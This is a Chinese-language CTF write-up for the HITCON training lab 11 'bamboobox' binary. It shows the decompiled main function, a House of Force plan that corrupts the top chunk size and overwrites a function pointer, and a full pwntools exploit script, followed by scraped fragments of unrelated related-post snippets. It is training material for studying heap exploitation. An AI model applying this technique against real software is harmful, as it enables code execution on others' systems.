HITCON training lab 11——bamboobox

64位程序  #House Of Force

程序逻辑

 1 int __cdecl main(int argc, const char **argv, const char **envp)
 2 {
 3   _QWORD *v3; // [rsp+8h] [rbp-18h]
 4   char buf; // [rsp+10h] [rbp-10h]
 5   unsigned __int64 v5; // [rsp+18h] [rbp-8h]
 6
 7   v5 = __readfsqword(0x28u);
 8   setvbuf(stdout, 0LL, 2, 0LL);
 9   setvbuf(stdin, 0LL, 2, 0LL);
10   v3 = malloc(0x10uLL);
11   *v3 = hello_message;
12   v3[1] = goodbye_message;
13   ((void (__fastcall *)(signed __int64, _QWORD))*v3)(16LL, 0LL);
14   while ( 1 )
15   {
16     menu();
17     read(0, &buf, 8uLL);
18     switch ( atoi(&buf) )
19     {
20       case 1:
21         show_item();
22         break;
23       case 2:
24         add_item();
25         break;
26       case 3:
27         change_item();
28         break;
29       case 4:
30         remove_item();
31         break;
32       case 5:
33         ((void (__fastcall *)(char *, char *))v3[1])(&buf, &buf);
34         exit(0);
35         return;
36       default:
37         puts("invaild choice!!!");
38         break;
39     }
40   }
41 }

利用思路

由于程序中有个 magic 函数,所以我们的核心目的是覆盖某个指针为 magic 函数的指针。这里,程序在开始的时候申请了一块内存来存储两个函数指针,hello_message 用于程序开始时使用,goodbye_message 用于在程序结束时使用,所以我们可以利用覆盖 goodbye_message 来控制程序执行流。具体思路如下

  1. 添加物品,利用堆溢出漏洞覆盖 top chunk 的大小为 -1,即 64 位最大值。
  2. 利用 house of force 技巧,分配 chunk 至堆的基地址。
  3. 覆盖 goodbye_message 为 magic 函数地址来控制程序执行流

expolit

 1 from pwn import *
 2 sh=process(‘./bamboobox‘)
 3 elf=ELF(‘./bamboobox‘)
 4
 5 def additem(length,name):
 6     sh.recvuntil(‘:‘)
 7     sh.sendline(‘2‘)
 8     sh.recvuntil(‘:‘)
 9     sh.sendline(str(length))
10     sh.recvuntil(‘:‘)
11     sh.sendline(name)
12
13 def modify(idx,length,name):
14     sh.recvuntil(‘:‘)
15     sh.sendline(‘3‘)
16     sh.recvuntil(‘:‘)
17     sh.sendline(str(idx))
18     sh.recvuntil(‘:‘)
19     sh.sendline(str(length))
20     sh.recvuntil(‘:‘)
21     sh.sendline(name)
22
23 def remove(idx):
24     sh.recvuntil(‘:‘)
25     sh.sendline(‘4‘)
26     sh.recvuntil(‘:‘)
27     sh.sendline(str(idx))
28
29 def show(idx):
30     sh.recvuntil(‘:‘)
31     sh.sendline(‘1‘)
32
33 magic=0x400d49
34 additem(0x30,‘aaaa‘)
35 payload=0x30*‘a‘
36 payload+=‘a‘*8+p64(0xffffffffffffffff)
37 modify(0,0x40,payload)
38 off_to_heap_base=-(0x40+0x20)
39 malloc_size=off_to_heap_base-0x10
40 additem(malloc_size,‘aaaa‘)
41 additem(0x10,p64(magic)*2)
42 sh.sendline(‘5‘)
43 sh.interactive()

原文地址:https://www.cnblogs.com/pfcode/p/10759825.html

时间: 2024-11-13 10:46:37

HITCON training lab 11——bamboobox的相关文章

Lab 1-1

Lab 1-1 Questions and Short Answers Upload the files to http://www.VirusTotal.com/ and view the reports. Does either file match any existing antivirus signatures? A: These files were written specifically for this book, so as of this writing, you shou

HITCON Training lab14 magic heap 堆技巧unsroted bin attack

目录 常规检查 逆向分析 create_heap 函数 edit 函数 delete 函数 main 函数 整体思路 利用过程 拿 shell get flag exp 脚本 内容来源 常规检查 逆向分析 -------------------------------- Magic Heap Creator -------------------------------- 1. Create a Heap 2. Edit a Heap 3. Delete a Heap 4. Exit -----

hdu3006——The Number of set

The Number of set Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 32768/32768 K (Java/Others) Total Submission(s): 1160    Accepted Submission(s): 709 Problem Description Given you n sets.All positive integers in sets are not less than 1 and

HDU3001(KB2-J 状态压缩dp)

Travelling Time Limit: 6000/3000 MS (Java/Others)    Memory Limit: 32768/32768 K (Java/Others)Total Submission(s): 8103    Accepted Submission(s): 2642 Problem Description After coding so many days,Mr Acmer wants to have a good rest.So travelling is

hdu 3006 The Number of set(思维+壮压DP)

The Number of set Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 32768/32768 K (Java/Others) Total Submission(s): 1056    Accepted Submission(s): 655 Problem Description Given you n sets.All positive integers in sets are not less than 1 and

深度学习实践系列(2)- 搭建notMNIST的深度神经网络

如果你希望系统性的了解神经网络,请参考零基础入门深度学习系列,下面我会粗略的介绍一下本文中实现神经网络需要了解的知识. 什么是深度神经网络? 神经网络包含三层:输入层(X).隐藏层和输出层:f(x) 每层之间每个节点都是完全连接的,其中包含权重(W).每层都存在一个偏移值(b). 每一层节点的计算方式如下: 其中g()代表激活函数,o()代表softmax输出函数. 使用Flow Graph的方式来表达如何正向推导神经网络,可以表达如下: x: 输入值 a(x):表示每个隐藏层的pre-acti

自然语言处理(2)之文本资料库

自然语言处理(2)之文本资料库 1.获取文本资料库 本章首先给出了一个文本资料库的实例:nltk.corpus.gutenberg,通过gutenberg实例来学习文本资料库.我们用help来查看它的类型 1 >>> import nltk 2 >>> help(nltk.corpus.gutenberg) 3 Help on PlaintextCorpusReader in module nltk.corpus.reader.plaintext object: 4 5

poj2069+hud3007(点的最小球(圆)覆盖+模拟淬火算法)

Super Star Time Limit: 1000MS   Memory Limit: 65536K Total Submissions: 3198   Accepted: 853   Special Judge Description During a voyage of the starship Hakodate-maru (see Problem 1406), researchers found strange synchronized movements of stars. Havi

Zimbra邮件系统的环境部署(centos6.7)

搭建zimbra邮件系统 一.安装环境配置 1)系统:centos6.7 64w位 2)软件版本:zcs-8.6.0_GA_1153.RHEL6_64.20141215151155 3)ip:192.168.75.11 二.安装前准备 1)配置主机名 [[email protected] zcs]# vim /etc/sysconfig/networkNETWORKING=yesHOSTNAME=lxb.com 2)配置DNS [[email protected] zcs]# vim /etc/